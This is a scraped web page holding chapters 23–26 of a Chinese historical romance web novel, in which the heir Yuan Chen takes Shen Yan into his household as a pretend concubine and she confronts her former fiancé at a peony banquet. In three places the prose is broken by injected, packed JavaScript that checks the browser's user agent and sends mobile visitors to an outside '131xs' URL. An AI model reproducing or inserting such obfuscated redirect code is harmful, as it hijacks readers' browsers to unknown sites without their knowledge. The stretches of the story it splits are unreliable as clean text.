大庆女子的地位远低于男子，这一点在婚事上体现得尤为明显。 比如一桩姻缘，但凡男方退婚，无论背后有何原因，人们总是习惯于先将过错归咎于女子。 更何况如今她和林子旭身份地位悬殊。 沈妍不难想见，今日过后，当初探花郎的名声有多响，她被诋毁得就会有多惨。 而元琛这般大张旗鼓地接她回府，林家悔一事将会变得全然不同。 在世人眼中，事情便不再是她高攀探花郎不成，遭到对方嫌弃悔婚，而是探花郎对她求而不得，最终没争过位高权重的卫世子。 在这人人眼睛长在头顶上的京城，她非但不会遭受非议，反而会成为众人热议乃至艳羡的存在。 元琛此举，无异于帮她堵住幽幽众口。 可对尚未娶妻的卫世子而言，他这样做，又置自己的名声于何地？ 故此，沈妍虽心下感激，却不禁一阵酸楚，眼底慢慢涌起水雾。 大概变故来得太突然，她一时尚未理清楚头绪。 林子旭悔婚，她被无尽的诋毁与非议淹没，整个人犹如置身黑暗寒冷的孤岛。 恍惚中，前方那道颀长的身影好像一道亮光，吸引着她想靠近。 及至听见元琛那句“走吧”，她便梦游般抬脚，情不自禁向他走去。 雨后的青石板路光滑油润，沈妍怔怔迈出两步，鞋尖不小心卡在石板缝隙间，脚底一滑，身子不由自主向前扑倒。 一双有力的手臂稳稳托住了她。 男人身上清冽的气息扑面而来。 沈妍抬眼，看见卫世子睫羽低垂，幽暗的眼底神色不明，像水雾弥漫的冷潭，又似有墨色翻涌。 正在此时，她双脚骤然离地，下一瞬，整个人落进了一个坚实温暖的怀抱里。 众目睽睽之下，元琛竟然打横将她抱起，转身一步步朝府外走去。 ——等等，他这是做什么？ 沈妍脑袋嗡嗡作响，等醒过神来，方意识到两人此刻的姿势有多暧昧。 而且，旁边还有那么多双眼睛盯着，他、他居然…… 不安地元琛在怀里扭动了两下，她抬头，神色焦急地瞪着元琛：“世子，这不妥……” 元琛铁箍般的手臂强势将她箍紧，垂眸睨着她，眼神警示：“你脚崴了，别乱动。”不想沦为全城笑柄就别动。 这话也是说给周围人听的——他总是知道她在想什么。 言罢，他便抬起头不再看她，从沈妍的角度只能看见一个线条精美的下颌。 沈妍：“……” 眨眨眼，她视线心虚地扫过周围，只觉一阵错愕，一阵羞涩，又是一阵晕眩。 最后干脆将计就计，假装疼晕了，头一歪将脸埋在元琛衣襟上。 还是装死最省事。 不远处，苏锦荣将这一幕看在眼中，心里暗骂沈妍狐狸精。 从前把林子旭迷得晕头转向，如今连清冷如谪仙般的卫世子竟也受其蛊惑。 不过，卫世子适才瞪她那一下的余威犹在，苏锦荣气归气，依然识时务地安静如鸡。 而苏文焕也未上前阻止，只是扶额叹了口气。 自从上次在卫王府碰了钉子，他已隐隐察觉出卫世子对女儿的态度不对。 今日对方更是亲自上门接人，苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320482|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文焕哪还有什么不明白？ 可恶那林子旭悔婚，害得苏家颜面扫地，更为他惹来街坊、同僚乃至全城耻笑。 而卫世子登门，倒恰好给他找了个台阶下。 一旁，姜氏频频朝苏文焕递眼色：你倒是管管啊！大白天的，这是做什么？ 即便卫世子，也不能在苏府这般放肆吧？ 苏文焕却拧眉摇头，示意姜氏闭嘴。 姜氏看卫世子对沈妍这般，起初还颇为不解，对上苏文焕的眼神，稍一转念：卫世子正值血气方刚年纪，那丫头又生得妖精一般，被收房实属再正常不过。 而卫世子这个人，苏家无论如何是得罪不起的。 再者，虽然林子旭悔婚，令苏家颜面扫地，怎料半路杀出个卫世子，若能就此搭上这尊大佛，想想似乎也不赖。 院内自始至终最为淡定当属小满。 她本来还疑惑大婚在即，主子表现出的种种迹象未免太过反常，及至听见卫世子亲自上门接人，小满终于弄清了缘由。 看着那一对璧人，小满由衷地为主子感到欣慰。 ——老天总算开了回眼！ 此时，窝在元琛怀里装死的沈妍渐渐醒过神来，扭头唤了声：“小满。” 不等小满开口，姜氏乍然想起什么，嘱咐小满：“还不跟去伺候大娘子？” 小满闻言如获大赦，乐得忙颠颠追上去，看卫世子并未出言反对，遂一路跟在他身后。 如此这般，元琛抱着沈妍，在苏府众人五颜六色的表情中大步朝府外走去。 从苏文焕夫妇跟前经过时，姜氏一眼瞥见卫世子眸中一闪而过的寒芒，不禁浑身一凛，心底没来由地浮起阵阵后怕。 直到人走出去好远，姜氏才拍着心口念了句佛。 ——幸亏和林家的亲事没成。 * 卫王府一行人出了苏府后，元琛大步走在最前方，将沈妍一路抱上马车。 此情此景引来周遭不少邻里、过客驻足围观。 街头巷尾，人们三三两两地聚集，交口议论。 “快看，那是卫王府的马车！” “我听车夫说，卫世子竟然亲自来接那个庶女回府。” “你说是苏家那个被悔婚的庶女？” “可不正是她——出来了，出来了！我的天，卫世子居然将她抱上马车。” “怪不得林家悔婚，原来那庶女早已被卫世子看中。卫王府什么门第？就凭林家，哪里争得过？” “啧啧，瞧那一对璧人……想不到苏家区区一个庶女，竟有这等福气！” 进入车厢后，元琛躬着身子将沈妍轻轻放在内侧的一个锦垫上。 随即，他高大的身躯在沈妍对面落座。 沈妍只觉眼前光线一暗，原本宽大的车厢，因为卫世子坐在对面，顿时显得局促起来。 轿顶悬挂的沉水香，连同男人身上清冽的气息丝丝缕缕萦绕在周围，让她心神有些乱，呼吸间仿佛连气流都变得窒闷粘稠。 卫世子本就深邃的眼眸，此刻因为陷在阴影里，越发深不见底。 沈妍本以为她和卫世子之间早已事过境迁，想不到她遇上难处，他还是第一时间赶来。 脑中闪过不久前她在院中滑倒，他几乎是不假思索地飞奔而来……还有，静静注视着她时，他眼底的柔光…… 种种迹象，让沈妍情不自禁想入非非。 ——卫世子该不会……也有那么一点点喜欢她吧？ 24. 侍妾 “世子上次说，契约已经结束，今日为何又要来接妾回去？”半晌，她还是问出了心中疑惑。 毕竟，任谁看来，卫世子适才之举都应该是她想的那个意思。 纵然不是，他也该对此有个明确的说法才是——以免，她会不小心误会什么。 话落，元琛声色无波：“不，契约才刚刚开始。”黑眸微沉，他定定看着沈妍，“我要你继续假扮我的侍妾，帮我吓走某些试图与我成亲之人。” 一顿，在沈妍错愕的目光中，他继续说道，“当然，并不需要你真做什么，只需演给外人看即可。事成之后，你会得到白银千两。” 言罢，他垂下眼帘，不再看她。 为了一个林子旭便轻易将他舍弃，当他元琛是什么人？ 想离开他？却也没那么容易。 他清楚沈妍的软肋，也开得出她拒绝不了的条件。 他要将他们继续牢牢绑定在一起。 沈妍：“……” 原来如此。 是她想多了。看着元琛，她唇角几不可察地浮起一缕自嘲。 今日之后，恐怕整个上都贵人圈都将知晓二人的关系。 元琛来苏府这趟，与其说为了帮她，不如说是提早将她的身份公之于众，对外宣示他已有宠妾，好让那些试图与他联姻的贵女们知难而退。 卫世子果然好算计！ 刚刚是她一厢情愿，想太多…… 不过即使如此，沈妍依然为元琛帮她解围而感激他。 缓了片刻，她才说道：“今日如果世子没来，妾不仅会沦为全城笑柄，往后更怕是连点绛唇都开不下去。您帮的忙已经够多了，假扮侍妾可以，银子就不必了。” 元琛听她如此说，本就不虞的面色，越发沉得像要滴出水来。 忽地轻嗤一声，他声音冷得可怕：“想还本世子的人情？只是假扮侍妾可不够。” 沈妍感觉他说这话时，配上那张祸国殃民的脸，有种说不出的诡异——既诱人遐思，又似蕴着某种难以言喻的危险。 愣怔片刻，她方找回神志，渐渐明白，卫世子与她从来都是公事公办，一码归一码。 他既如此说，分明是在用金钱与她撇清关系。 若她再啰嗦推诿，倒像有意粘着人家似的。 于是，她开口道：“好，世子出手阔绰，开出的条件，妾向来无法拒绝。” * 再次回到卫王府，元琛安排沈妍住在一处距迎晖阁不远的，名叫“兰竹苑”的独立院落。 这样的安排也表明，她对卫世子已不再是女使那么简单。 这厢，长庚帮忙挪完几样家具后，返回迎晖阁向元琛复命。 待正事说完，仿佛在期盼着有什么好事发生，长庚眼睛亮晶晶地问元琛：“世子，沈娘子如今的身份是？” 书案前，正埋头运笔的元琛动作未停，只简短回了两个字：“侍妾。” 虽然他声音听不出什么情绪，但长庚听见“侍妾”二字，还是忍不住为世子感到开心：“恭喜世子！”等了这么久，两人终于往前了一步。 结果，元琛闻言，只是掀起眼皮淡淡扫了他一眼，随后继续伏案，语气平静：“一场交易而已，和上次没什么两样。” 作为元琛的心腹，长庚自是知晓世子和沈妍那份契约的始末。 但他也知晓，即使名分是假，世子对沈娘子的情意却骗不了人。 眼下，听见世子如此说，长庚既感到惊讶，又有点泄气，撅着嘴巴直嘟囔，“怎么又是交易？世子就是这么同人家沈娘子说的？” “不然呢？”元琛反问，话音落地，却有一瞬失神。 长庚腹诽：什么不然呢？当然是直接拿下。 沈娘子离开这段日子，他可都瞧在眼里，世子人都消瘦了好几圈。 历经波折，两个人好不容易再次走到一起，没想到竟然又搞成一场交易…… “世子何不顺水推舟，干脆把人收——” “闭嘴。”元琛打断了长庚，沉凉的声线令他不敢再言语。 片刻后，忽听元琛说道：“牡丹宴的请柬可以应下了。” * 兰竹苑，小满边拾掇行礼，边暗自解气：怪不得之前在苏府，主子总是心不在焉，原来她心里根本就没有那个负心汉。 自从林子旭悔婚，小满心里对他的称呼便从“林相公”改成了“负心汉”。 哼，让他移情别恋，这下还指不定是谁丢人现眼呢！ 不过要让她说，卫世子丰神俊朗，一表人才，卫王府高出林府也不是一星半点，何况卫世子能闯苏府抢人，可见待主子的一片心意更是没得说。 总之，怎么看都不是林子旭那个负心汉能够相提并论。 此刻，看见沈妍走近，小满开口，声音里都染了笑：“主子，您和卫世子——” “不是你想的那样。”沈妍硬邦邦道。 往后，小满不只是她的贴身女使，更是她相依为命的心腹。 这种事瞒不住，也没必要瞒着她。 仿佛被兜头浇了一身冷水，小满拧眉不解，语气失落：“那是哪样？” “一场交易。”沈妍语气淡淡，“我假扮卫世子的侍妾，半年后，会得到一笔钱财离开，如此而已。” 小满听得瞠目结舌，半晌，口中喃喃：“怎么会这样？” 她还以为卫世子和主子两情相悦，没想到竟是一场交易。 看沈妍的语气显然没在开玩笑，小满原本上扬的心情，再次忽忽悠悠沉下去…… 不过转念一想，比起主子被悔婚，明里暗里叫人在背后指指点点，这场交易对她而言倒也不算坏事。 总之，不管主子作何选择，她都会追随主子。 对面，沈妍肃容看着她：“切记，此事不可对外声张。” 小满认真地点点头，看沈妍神色恹恹，显然并无多少兴致谈论与卫世子的这场交易，她也知情识趣地闭了嘴。 同时，却暗戳戳有种直觉：卫世子对主子，并不像主子说的那么简单。 不多时，长庚去而复返，告知沈妍三日后陪同世子赴牡丹宴的消息。 沈妍收到任务，即刻吩咐小满为赴宴做准备。 除去衣服首饰之外，她还叮嘱小满务必带上哪几种口脂、香丸，又让她去了趟苏府，将之前挖出的那坛千髓香取来。 小满听后不禁纳闷：“主子陪世子赴宴，带这些东西做什么？” 沈妍冲她神秘一笑：“我自有用处。” * 这场牡丹宴，沈妍没让小满跟着，想到届时少不了要与卫世子假意亲密，有小满在旁，她会觉得更不自在。 赴宴的妆容和配饰，元琛吩咐郑嬷嬷事先打点好送到兰竹苑。 这日辰正梳妆完毕，沈妍在小满和郑嬷嬷护送下迈出卫王府大门。 元琛早已立在马车旁等候，抬眼只见一道熟悉的倩影跃入眼帘。 女子身穿藕色半臂，挽着缃色画帛，下半身一袭荼白襦裙，细腰削肩，身姿修长袅娜，宛如清渠中刚出水的芙蓉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325068|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>细看下，更是粉面檀口，翠眉云髻，五官妆面无一处不精致匀称，恰到好处。 尤其那对眉眼，顾盼间透着少女的灵动，又有种与年龄不相符的沉稳，眼波潋滟间，元琛心神也不由随之一荡。 察觉到卫世子近乎直白的打量，沈妍诧异地低眸，视线扫过一身装扮，语气犹疑道：“是有哪里不妥吗？” 元琛醒过神，不动声色收回视线，尽可能声音如常道：“没有，很好。”言罢敛眸，微微侧身，朝车厢比了比手。 沈妍听他如此说，放下心来，与元琛上了马车。 之后，元琛一言不发地坐在车厢一角，面颊耳根隐隐发烫。 几不可察地低叹一声，他轻轻合上眼，做闭目养神状，心中却几乎只差念清心咒了。 马车启动了好一阵子，沈妍打量对面老僧入定般端坐的卫世子，心中暗暗腹诽：想不到威风八面的卫世子也有今天，居然要靠她这个假侍妾帮他吓走一众追求者。 不过这事她倒有些看不懂了。 上都城的贵女们有什么不好？为何非要吓走人家？ 卫世子年纪已过弱冠，又身处高门，论理早该娶妻，可瞧他样子却对女人避之唯恐不及…… 该不会有什么隐疾吧？ 这般胡思乱想着，她不觉盯着元琛怔怔出神。 却不料，他蓦地睁开眼，深邃锐利的目光直勾勾盯着她，吓得沈妍眸光一颤，慌忙挪开了视线。 可惜为时已晚。 仿佛能看穿她的心思，元琛开口语气不善：“为何那样看我？” 沈妍一阵心虚：“妾没，没有啊。” “你有。”元琛显然并不打算不放过她，眼神一厉，沉声道，“说。” 沈妍不禁怔住。 这副命令的口吻，瞬间将她思绪拉回两人初见时，甚至，此刻的卫世子看起来比之当初还要更冷，更陌生。 而之前那些朝夕相处、点滴温馨的过往好像从未存在过。 不知为何，沈妍忽然感觉有些难过，回过神来，斟酌了一下，道：“妾只是好奇，世子为何想吓走那些贵女？” “因为不喜欢联姻。”元琛语气淡淡，像在述说一件吃饭喝水般平常的事。 沈妍却惊讶脱口：“联姻？”连卫世子这样的人也需要联姻吗？ 她随即想起上次在迎晖阁，两人无意间提及高门联姻之事，她记得当时元琛说“你口中所谓贵人，也并非个个都老实认命。” ——难道，他竟是在说他自己？ 像在回答她的疑问，元琛接着说道：“你不是说每个人都有命定的轨迹？为何我就能例外？” 沈妍被他问得哑口无言，总觉得，冷静强大如卫世子，在自己的婚事上，还不至于如此被动。 可她又对人家了解多少？ 卫世子既如此说，说不定也会受形势所迫。 念及此，她不无同情地看向元琛，片刻想起什么，安慰道：“妾那日不过是打个比方，其实据妾所知，高门贵女大都才貌双全，知书识礼，妾倒认为，她们当中未必没有世子的良配。” 元琛要她帮忙，她自会尽力，只不过她怀疑此举作用有限。 高门之间的权利交换，岂是区区一个侍妾所能改变？ 卫世子不会不明白这个道理，之所以行此下策，大概多少还是有自己的考量。 沈妍本出于善意说出这番话，怎料不知哪里说错了，话落，卫世子的脸色变得愈发难看，沉冷的声音像是从齿缝里挤出来：“你很希望我娶一位贵女？” 25. 联姻 沈妍：“？” 这不是情理之中的事吗？她只不过实话实说罢了。 而且，卫世子娶谁关她什么事？她只是个假扮的侍妾而已。 但对上元琛冷若凝霜的目光，她本能地意识到不妙，小心翼翼斟酌着措辞：“妾愿世子终能得遇良缘，琴瑟和鸣。” 元琛：“……” 喜宴送贺词吗？ 偏头睨着沈妍，他语气不善：“我的良缘不在那些贵女之中。” 沈妍向来知道，此人一旦邪气上身，最好别去招惹。 她觉得自己方才有点倒霉，不断在元琛那里碰钉子，若再不小心些，还指不定惹出什么祸端。 于是这次，她果断选择了闭嘴。 行吧，你长得好看，你说什么都是对的。 周围再次陷入安静。好一会儿，只有嘚嘚的马蹄声有节奏地传入轿中。 就在沈妍以为之前那个话题终于翻篇时，元琛忽然再次开口，目光幽深晦暗，紧盯着她：“那你呢？” 沈妍一愕——她什么？ 猝不及防，他蓦地倾身过来，棱角分明的玉颜近在咫尺。 男人的声线低沉暧昧，慢条斯理：“是不是只要能让你过上安稳日子，谁都可以？” 微烫的气息扑面而来，沈妍瞬间僵愣的身躯不由微微一颤，随即清醒过来，不可置信地瞪着元琛。 她认识的卫世子并不是个轻薄孟浪之人。 但自从此番接她回来后，他似乎有些变了…… 细想之下，在这个变化前后，就只发生了一件事——她嫁林子旭。 难道卫世子对她态度变化与此事有关？ 可那又怎么样？卫世子对她又无情意，就算生气也轮不到他。 沈妍杏眸染上怒意，别开脸，冷声道：“当然不是。” “哦？”元琛眉梢微扬，似乎饶有兴味地等她继续。 沈妍：“多亏之前与世子的那笔交易，妾如今已经开店自立，就算从此一个人生活，也没什么不好。” 元琛闻言一顿，随即，骨节分明的长指轻轻转过她下颌，迫使沈妍看着他。 黑眸静静审视着眼前的女人，他一字字缓声问：“就没有为什么人动心过？” 卫世子好看到近乎妖孽的脸再一次近在咫尺，浓烈的雪松香与炙烫的气息包裹着她，沈妍抑制不住，心头一阵狂跳。 有啊，那个人就是你。 但这件事她永远不会让卫世子知道，此刻更恼他举止无礼，她漠然调开视线，檀口紧抿。 面前，她恍惚听见一声低低的叹息。 便在此时，长庚的声音在外响起：“世子，牡丹园到了。” * 牡丹园位于王都东南角，园内佛光宝刹，亭台楼阁，溪水潺潺，杂树生花。 内有皇家官署精心培育的名贵牡丹不下百种。 此外，园中也不乏绣球、芍药、栀子、蔷薇等应季花卉，将整座园林装点得姹紫嫣红，美不胜收。 沈妍看见园林对外敞开处皆由锦幔围住，便知今日宾客之中来了不少女眷。 宴席由宰相娘子陈氏做东，受邀者皆出自钟鸣鼎盛之家，据说连出嫁未久的清河公主也会现身。 沈妍先下了车轿，站在园门口朝四周打量时，背后骤然一暖。 她怔然转头，刚还在轿中对她冷嘲热讽的卫世子，此刻居然体贴地亲手给她加了件氅衣。 此情此景不禁让沈妍想起杏园宴那次。 ——他这是故技重施？ 沈妍这会儿怒气未消，咬牙瞪他：世子入戏真快！ 随即，不等元琛进一步表演亲密，她边自己系上氅衣领口的带子，边抬脚往前走。 怎料才迈出没两步，手腕陡然一紧。 元琛竟将她拉向自己，不动声色下令：“不许离我那么远。” 磁沉的声音在沈妍耳畔带起一片酥痒热意，沈妍表情瞬间凝固。 虽然对于假扮侍妾一事，她心中早有准备，但当真同卫世子这般亲密，却又是另外一回事。 周身一阵不自在，她勉力维持着镇定：“知道了，你先放手。” 好在卫世子倒并未与她为难，闻言松开了手。 沈妍只好乖乖跟在他身后步入园中。 主要是不敢再不配合了。 不过两人虽说是一前一后，元琛却刻意维持着与她前后脚的距离，就差将两人的关系贴脑门上了。 此举果然引来周围人频频侧目。 除了惊讶与好奇，沈妍注意到，其中有不少女子，目光毫不掩饰地流露出酸涩与幽怨。 至此，她终于有点理解了元琛的计划。 任凭男方再好，应该没有哪位贵女愿意嫁给一个婚前有宠妾的男子。 未走出多远，她又心惊地发现：前方湖心亭中，有位身穿妃色衣裙的女子正死死盯着她。 如果目光可以化作实质，沈妍觉得，此刻她应该已经被那女子刺成筛子了。 原来假扮卫世子侍妾还有这样一重风险，难怪之前元琛愿意付给她那么多银两。 ——这原是一桩危险买卖。 二人沿着大路前行。 不远处一棵老柏树下，有位身穿紫袍、头戴高冠的老者瞧见元琛，径直朝他走来。 老者同元琛寒暄了两句后，沈妍得知，来人乃是德高望重的御史大夫顾光庭。 顾大夫同元琛说话间隙，偶尔向她投来嫌恶的一瞥，苍老深刻的五官几乎快拧到了一块儿。 很快，顾大夫邀元琛私下相谈。 元琛点头答应，随后，他转过身来，给沈妍理了理被风吹乱的鬓发。 期间，沈妍没想到他演技如此惊人，长指恋恋不舍地缓缓擦过她脸颊，声线低沉暧昧：“你先去别处逛逛，我与顾大夫谈完事便去找你。” 沈妍毫无防备，被元琛骤然的温存撩得耳根一热，好在随即心神归位，连忙点头，假装乖顺道：“好。” 大约两人演得太像那么回事，旁边，顾大夫瞧见这一幕，老脸都快涨成猪肝色。 沈妍：“……” 她真不是故意的。 这年头，赚点钱可太难了！ * 置身于令人眼大开界的皇家园林，沈妍一边乐得独自松散，一边有一搭没一搭观察着园中景致与各色宾客。 不想溜达到一个偏僻的水塘附近时，好巧不巧，看见前方池边一株蔷薇树下，林子旭与一粉衣女子正在并肩赏花。 沈妍见状不由微微皱眉，目光沉冷下去。 虽说林子旭悔婚另娶是她已经接受的事实，但眼前这副景象还是让她觉得有些刺目。 如今的她已不想再与林子旭有任何瓜葛，哪怕靠近一点都不愿意。 脚步一顿，她改道绕过两人，选了一条羊肠小路往前走去。 不知不觉，来到一片人迹罕至的油菜花田。 置身大片金灿灿的花海中，她很快将那幅郎情妾意的画面赶出脑海。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328798|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不料心绪才刚平复下来，身后忽然传来一阵不断加快的脚步声。 与此同时，有人叫道：“阿妍。” 听出来人是谁的刹那，沈妍脚步顿住，缓了两息才转过身。 小径上，林子旭在与她相隔大约两步处驻足，朝她叉手一礼。 他是独自一人前来，大约适才也瞧见了她？ 默默看着沈妍，林子旭眸底晦暗复杂，半晌，终是一声叹息。 相比之下，沈妍站在他对面，倒是淡定得出奇。 林子旭沉默，她也不开口——一个字、一个眼神都没给他。 气氛有些僵冷。 仿佛置身于极度难堪的处境，林子旭垂在身侧的手指紧抓着衣袍，显的很是局促。 但沈妍只是放着不管。 好一会儿，林子旭终于想起什么似的，讶然问沈妍：“阿妍，你怎会来牡丹园？” 沈妍：“怎么，林司御觉得我不配来？” 她知晓林子旭为何惊讶，但正是这份惊讶，瞬间勾起了她心头的怒火。 面对着她，林子旭没有一句解释，一句道歉，一开口却再次提醒她，他为何会同她悔婚。 闻言，林子旭面色一白，声音低沉道：“你知道我不是这个意思。” 顿了顿，他抬眸望着沈妍，“阿妍，之前悔婚是我对不住你，可我已经尽力——” “我知晓你有难处。”沈妍凉声打断他，“可你不该不声不响地背着我与卢氏女下定，害得我沦为全城笑柄。” “抱歉，当时的情况……我实在不知该如何面对你，我——” “——你想的只是你自己罢了。”沈妍道。 取消婚约的方式有很多种，但凡林子旭有心为她考虑，便不该那么做。 “事已至此，多说无益。”言罢，她转身要走。 “你如今做了元琛的侍妾？”林子旭在她身后开口。 沈妍脚下一顿，并未转身，只是笑了笑，不置可否：“消息这么快就传到了林司御耳中。” 她从前一口一个林兄长，如今转而以官职相称。林子旭听在耳中，一股难以形容的滋味蔓上心头。 皱了皱眉，他道：“我本以为，你对待终身大事不会如此草率……都是我的错。” 沈妍被他这句话震惊住。 事到如今，不得不承认，她对这位邻家兄长了解得还是不够。 他竟然觉得自己还有资格对她的终身大事指手画脚，指责她给元琛做侍妾是草率之举，甚至自以为是地以为，这是在他悔婚之后，她自暴自弃的结果…… “嗤——”沈妍突然忍不住笑出声来。 这真是莫大的讽刺！ 林子旭却是一愣：“你笑什么？” “我笑林司御未免太高估自己。”沈妍道，“元将军芝兰玉树，年少有为，不知令多少女子心生仰慕，能在他身边侍奉，是我三生有幸，何来草率一说？” 林子旭听她说着，本已苍白的面色越发难看，刹那间，眼中闪过意外，羞愧，嫉妒，愤恨…… 半晌，他面皮抽了抽，抿唇说道：“我记得你说过，这辈子都不会与人为妾。” 最后的“妾”字，他咬得极重。 沈妍倒没想到，性情温和如林子旭，原来也有其凌厉的一面。 在背叛了她，与卢氏女定亲后，竟还能反过来嘲讽、贬低她。 片刻，她勾唇一笑，轻飘飘道：“其实，那只是我不喜欢你的一个托辞。” 26. 恩人 言罢，她在林子旭惊愕的目光中转身离去。 独留林子旭只身站在大片晃眼的油菜花海中怀疑人生。 表面上，的确是他背叛了沈妍，但其实，他从未有哪怕一瞬间得到过她的心。 一股强烈的挫败感自心底涌起，刹那占据了他全部身心。 从前，往后，他林子旭此生注定永远与所爱之人失之交臂。 * 沈妍径直穿过油菜花田转到大路上。 前方不远处，三五名女宾聚在一个凉亭内闲聊。叽叽喳喳的议论声不住从里面传出。 其中，“卫世子”、“侍妾”、“低贱”几个词语频频飘入沈妍耳中。 她注意到，几名女宾中的一位正是不久前与林子旭并肩赏花的卢氏女。 随着沈妍走近，女宾们的议论声逐渐清晰。 “一个侍妾有什么了不起？无非是仗着年轻貌美，以色侍人。” “没错，这些低贱女子最是贪慕虚荣。” “听说她以前还是姚府家姬，不知为何被姚承嗣赏给了卫世子。” “还能为何？必然是使了某些见不得光的狐媚手段。这种女人啊，多半是看中了卫世子的身份门第。”最后这句，卢氏女言罢呷了口茶，眉眼间尽是鄙薄。 沈妍：“……” 没想到几个素未谋面的人，竟都对她这么了解。 不满足一下她们的想象，她觉得都有些说不过去了。 那么作为一名受卫世子宠幸的侍妾，听到这些话该作何反应？ 念及此，她不由勾起了唇角。 “几位姐妹真是高看我了。”她故意扭摆着腰肢，姿态妩媚地走上前去，扬声说道。 众女闻言纷纷扭头看向她，继而个个讶然瞠目，议论声戛然而止。 背后诋毁他人已算有失贵女风范，没想到还被对方撞了个正着。 几位娘子一时间臊眉耷眼，讨了个老大没趣。 尤其那卢氏女，看见沈妍时一口茶汤尚未咽下，冷不防被呛到，不受控制地狂咳起来。 沈妍面无表情地打量着众女，二不羞，一不恼，甚至连句反驳的话都没有，只不咸不淡地说道：“低贱女子哪懂什么身份门第？我看上的，不过是卫世子的钱罢了。” 众贵女：“？！” 不管她们心里怎么想，身为高门贵女，这面上、谈吐都讲究个矜持、含蓄、文雅。 谁能想到，这女子说话竟至如此直白露骨？ 是以，听见这话，几名贵女无不当场惊呆，瞠目结舌地瞪着沈妍。 沈妍却无视她们的表情，莞尔言道：“攀附权贵难免受权贵欺压，想想还是钱财来得实惠稳妥，姐妹们说呢？”她视线在几位小娘子身上逐一扫过，眉眼间尽显轻浮之态。 凉亭中的几位女子均是有身份之人，见她如此，或惊讶，或错愕，或皱眉，人人都很是无语。 又听沈妍一口一个姐妹，虽知是存心恶心她们，可又有谁甘愿自降身价，就这种话题同她理论。 侍妾本就身份低微，此女又是名声在外，届时无论她们说得有无道理，开口便等同于被她拖下了水，尤其亭中这几位还都未出阁。 事关名节，某些话一旦传将出去，谁都输不起。 期间，倒有一人带来的侍女试图训斥沈妍几句，不过还未开口，便被她主子使眼色制止住。 这位贵女之前在杏园宴上曾见过沈妍怼李胭娘，知道这女子绝非善茬，更何况万一起冲突，对方又正得宠，凭在座几位的家世、背景，又有哪个惹得起卫世子？ 更何况多一事不如少一事，这种女人最好莫要沾边。 此时卢氏女终于喘匀一口气，憋了半晌，终是站起身，红着脸愤愤道：“我们走！”说着逃也似的当先匆匆迈出凉亭。 余人见状，也都忙不迭跟上。 沈妍瞧着众女眨眼间散了个干净，眸中慢慢浮起一缕恶劣的满足。 * 这厢，她独自站在空荡荡的凉亭内，忽听身后有人击掌道了声：“精辟。” 沈妍一怔，觉得这个声音似曾相识。 转脸望去，道路对面，一位身穿绯袍的男子正站在一株乌桕树下，笑眯眯望着她，一双桃花眼快弯成两道月牙。 男子身量颀长，一头如瀑的墨发半扎，发顶束着银冠，看年纪也就才刚及冠。 定定望着沈妍，他眸中笑意渐趋复杂。 片刻，像惋惜，又像感慨，男子轻叹一声：“原来元忌平那个侍妾是你呀。”言罢，他无奈地勾了勾唇，嘴角染了些许苦笑的意味。 须臾，看沈妍拧眉不解，他方收敛神色，清润的嗓音染了几许玩味：“恩人平时都是这般伶牙俐齿的吗？” 恩人？ 沈妍直到此时才想起，眼前人她曾见过，乃是渤海国留在上都的质子，受封为钦国公。 从前在姚府，她曾与钦国公有过两面之缘。 彼时，沈妍常去姚府后园的栖霞湖畔练习新学的曲目。 有一回，看见一个醉醺醺的男子失足落入水中。 正值冬月，湖畔阴冷少有人来，而栖霞湖位置又较为偏僻，以至于男子落水后都无人发觉。 沈妍打量四周连个人影都没有，情急之下只好自己跳进水中捞人。 虽说她水性一般，但最后还是幸运地将人拖上岸来。 沈妍见那人虽灌了几口水，好在性命无虞，反观自己却衣衫尽湿，周身狼狈尴尬，不成体统。 此情此景若是给人瞧见，她能解释清楚吗？ 凭着对姚府的了解，沈妍只恐惹祸上身。 所以，趁着男子神志似尚未完全清醒，她当即手脚利索地闪了人，一面自认倒霉，一面暗暗祈祷，但愿老天看在她救人一命的份上，让此事就此结束。 怎料未过几日，她在湖边抚琴时，身后忽有个声音说她弹错了音。 沈妍扭头一看，只见一绯衣男子说话间朝她信步走来——正是当日落水之人。 他主动介绍自己，说他是来自渤海国的钦国公，受晋国公之邀前来府中做客，还一口一个恩人地叫她。 沈妍听得心惊肉跳，想不到当日落水之事，他竟然全都记得。 那她岂不是要倒大霉了？ 纵使当时她是为救人，那也是孤男寡女搂搂抱抱，单凭背着家主私见外男这条，沈妍便有几个脑袋也不够砍。 除非她求钦国公别说出去，但对方是什么样的品性，会怎么想，怎么做，沈妍心里完全没谱。 再说，凭什么救人者反要去求被救者？ 与其如此麻烦，不如……走为上。 